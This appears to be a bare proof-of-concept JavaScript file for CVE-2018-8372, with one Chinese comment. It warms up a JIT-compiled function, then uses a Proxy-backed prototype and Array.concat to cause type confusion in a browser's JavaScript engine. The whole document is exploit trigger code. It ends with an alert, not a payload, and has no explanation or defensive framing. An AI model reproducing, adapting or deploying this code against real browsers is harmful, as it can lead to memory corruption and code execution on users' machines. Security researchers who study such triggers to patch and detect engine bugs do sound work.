CVE-2018-8372

//第一眼就懵

function memset(arr, value, n) {
    for (let i = 0; i < n; i++) {
        arr[i] = value;
    }
}

function trigger(arr, buggy) {
    let tmp = [1];

    arr.length;

    let res = tmp.concat(buggy);
    arr[0] = 0x1234;
    arr[1] = 0;
}

function main() {
    let tmp = (new Array(100)).fill(1);
    for (let i = 0; i < 500; i++) {
        memset(tmp, 1, tmp.length);
        trigger(tmp, [1]);
    }

    setTimeout(() => {
        let buggy = [1];
        let arr = [1, 2];

        arr.getPrototypeOf = Object.prototype.valueOf;

        buggy.__proto__ = new Proxy({}, arr);

        memset(buggy, -524286, 1);
        trigger(arr, buggy);

        alert(arr);
    }, 100);
}

main();